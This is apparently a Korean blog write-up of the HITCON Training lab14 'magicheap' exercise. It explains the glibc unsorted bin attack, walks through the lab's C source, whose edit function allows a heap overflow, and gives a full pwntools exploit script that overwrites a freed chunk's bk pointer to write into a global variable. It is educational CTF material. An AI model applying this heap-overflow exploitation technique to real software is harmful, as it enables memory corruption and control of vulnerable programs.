1. 시작하기전에...

벌써 HITCONT Training의 짝수 마지막 번호 lab14가 되었습니다. lab14는 지난 번 포스팅에서 다루었던 lab12였던 fastbin attack에 이어 

unsorted bin attack을 이용한 문제입니다.


unsorted bin attack에서는 free Chunk(해제된 메모리 영역)에서 bk를 덮어 써 메모리 할당 공간을 컨트롤 한다는 것이 핵심입니다.


1-1. Free Chunk

한번 봤던 구조지만 한번 더 확인해 보도록 하겠습니다. 


Free Chunk의 상위 두 필드는 prev_size와 헤더의 크기를 포함한 자신의 크기를 나타냅니다.


fastbin 같은 경우에는 single linked list이기때문에, forward pointer to next chunk in list(fd)영역에만 값이 쓰여지고 back pointer to next chunk in list(bk)는 필드는 존재하지만 값이 세팅 되지 않았습니다.


하지만 오늘 다룰 unsorted bin에서는 double linked list로 fd와 bk 필드가 모두 사용됩니다.


1
2
3
4
5
6
7
char *= malloc(0x80);
char *= malloc(0x80);
char *= malloc(0x80);
 
free(a);
free(b);
free(c);



위와 같은 코드가 있을 때, unsorted bin은 first fit에 의해 아래와 같은 형태가 됩니다.


  1. head -> c <-> b<-> a -> tail

이 상태에서 각 free chunk에 fd / bk는 이렇게 기록됩니다.


a 의 bk : b의 주소


b의 fd : a의 주소

b의 bk : c의 주소


c의 fd : b의 주소


생각같아서는 a의 fd에 tail의 주소, c의 fd에는 head의 주소 이렇게 저장될 것 같았는데 직접 확인해 보니 알수 없는 값이 메우고 있었습니다. 

무슨 값인 지는 잘 모르겠습니다만, 확실한 건 Tail쪽이 fd이고 Head쪽이 bk이며 Head방향에 있는 chunk부터 검사하여 적합한 사이즈라면 메모리가 할당 됩니다.


그러므로 이때 bk를 조작할 수 있다면, 다음에 할당되는 메모리의 주소를 조작할 수 있다는 점을 이용합니다.



2. C소스

magicheap.c 의 코드 중 중요한 부분만 몇 군데 보겠습니다.


2-1. create_heap()

1. 프로그램 내에서 할당된 heap을 관리하는 전역변수 heaparray가 있습니다. 그 배열에 빈곳을 찾습니다.

2. 사이즈를 입력받아 해당 크기만큼 메모리를 할당합니다.

3. heap의 내용을 입력받아 저장합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void create_heap(){
    int i ;
    char buf[8];
    size_t size = 0;
    for(i = 0 ; i < 10 ; i++){
        if(!heaparray[i]){
            printf("Size of Heap : ");
            read(0,buf,8);
            size = atoi(buf);
            heaparray[i] = (char *)malloc(size);
            if(!heaparray[i]){
                puts("Allocate Error");
                exit(2);
            }
            printf("Content of heap:");
            read_input(heaparray[i],size);
            puts("SuccessFul");
            break ;
        }
    }   
}



2-2. edit_heap()

1. index를 입력받고 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 heaparray에 존재하는지 확인합니다.

3. 존재하는 경우 해당 heap의 사이즈를 입력받고 사이즈만큼 메모리를 수정합니다.

4. heap의 내용을 수정합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void edit_heap(){
    int idx ;
    char buf[4];
    size_t size ;
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        printf("Size of Heap : ");
        read(0,buf,8);
        size = atoi(buf);
        printf("Content of heap : ");
        read_input(heaparray[idx] ,size);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}



2-3. delete_heap()

1. index를 입력받아 index의 유효성 검사를 합니다.

2. index가 유효한 경우 해당 heap이 리스트에 존재하는지 확인 합니다.

3. 존재하는 경우 해당 heap을 메모리 해제 합니다.

4. heaparray에 저장되어 있는 포인터를 NULL로 만들어 줍니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void delete_heap(){
    int idx ;
    char buf[4];
    printf("Index :");
    read(0,buf,4);
    idx = atoi(buf);
    if(idx < 0 || idx >= 10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);
        heaparray[idx] = NULL ;
        puts("Done !");
    }else{
        puts("No such heap !");
    }
 
}



delete_heap에서 메모리 해제 후 배열에 저장되어있는 heap의 포인터를 NULL로 만들어줌으로써, fastbin attack은 가능하지 않습니다. 

3. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
 
= process('./magicheap')
 
def create_heap(length,contents):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(":")
    r.sendline(contents)
 
def edit_heap(length, idx, contents):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(": ")
    r.sendline(str(length))
    r.recvuntil(": ")
    r.sendline(contents)
 
def delete_heap(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))
    
magic = 0x00000000006020c0
fake_chunk = magic - 0x10
 
create_heap(0x80,"tulip")
create_heap(0x20,"sunflower")
create_heap(0x80,"rose")
create_heap(0x20,"tulip")
delete_heap(2)
delete_heap(0)
 
#alloc size = 0x20(idx:1 chunk size) + 0x10(idx:2 header) + 0x10(idx:2 fd, bk)
edit_heap(0x20+0x10+0x101"a"*0x20 + p64(0)+p64(144)+ p64(0)+ p64(fake_chunk))
create_heap(0x80,"5000")
r.sendline("4869")
log.info(r.recv(0x500))
log.info(r.recv(0x100))



exploit코드의 목적은 할당 메모리의 공간을 전역변수 magic으로 만들어 magic의 값을 5000으로 만드는 것입니다.
위에 설명한 코드에 main의 내용은 빠져있지만, 이 전역변수 magic의 값이 4869보다 큰 값이면 문제가 풀리게 되어있습니다.

exploit 코드의 과정은 아래와 같습니다.
1. 0x80, 0x20, 0x80, 0x20 의 크기로 메모리를 할당합니다.
 =>중간에 0x20사이즈를 섞은 것은 하위에 존재하는 free chunk의 bk를 덮기 위해 할당한 메모리입니다.
 => 마지막에 존재하는 0x20사이즈의 chunk를 할당한 것은 이유를 모르겠습니다. 다만, 없으면 정상적으로 exploit이 되지 않네요..
      마지막에 chunk를 할당한 것과 할당하지 않은 것의 메모리를 비교한 화면입니다.


0x603000이 처음으로 할당한 0x80 chunk이고, 0x603090이 두 번째로 할당한 0x20 chunk, 0x6030c0가 세 번째로 할당한 0x80 chunk입니다.

그리고 마지막으로 할당한 0x20 chunk는 0x603150에 위치하고 있습니다.


저 화면은 메모리할당 한 후 39라인까지 실행한 결과(free 2번 실행) 인데, 처음으로 할당한 chunk의 fd가 세 번째 chunk를 가르키고 있고

세 번째 chunk의 bk가 첫 번째로 할당한 chunk를 가르키고 있는 것을 확인할 수 있습니다.



이 화면은 동일한 로직을 마지막 chunk없이 실행한 결과 입니다. fd와 bk가 우리가 예상한 것과는 다른 모습을 하고 있습니다. 서로를 가르키고 있지 않은 모습입니다. 마지막으로 할당 했던 메모리가 어떤 역할을 하는지는 아직 잘 모르지만.. 존재해야지만 0x80 chunk들이 정상적으로 unsorted bin list에 속하는 것으로 보입니다.


2. index 2, 0의 순으로 메모리 해제를 합니다. 

위와 같은 구조에서 우리가 덮어쓸 수 있는 메모리는 두 번째 chunk를 수정하여 세 번째 chunk를 덮어 쓸 수 있습니다. 수정 메모리 크기를 검사하지 않는 탓이기도 하지요. 


세 번째 메모리의 bk는 첫 번째 메모리를 가르키고 있고, 이 주소를 우리가 원하는 magic의 주소로(실제로는 magic의 주소에서 헤더크기(0x10) 만큼 빼준 값)으로 덮어써 magic의 값을 변경할 것입니다.


3. 두 번째 메모리의 데이터 size는 0x20입니다. 그리고 세 번째 메모리의 헤더 사이즈는 0x10, 우리가 덮어쓸 fd와 bk는 각각 0x8이고 

따라서 0x40만큼 덮어 써야 원하는 대로 bk를 완전히 덮어쓸 수 있습니다.


42라인에서 0x40만큼 크기를 입력해주었고, a를 0x20개 만큼 채웠습니다. 그리고 prev_size를 0으로, 현재 chunk사이즈는 본래의 값인 0x90인 144로 채웠습니다. 그리고 fd 값은 0으로 채웠고, bk부분에 우리가 원하는 값인 magic - 0x10 값으로 채워주었습니다.

 

4. 그 이후 새로운 chunk를 요청하여 magic에 값을 써준 후 4869를 입력하여 마무리 되었습니다.






끗!



+ Recent posts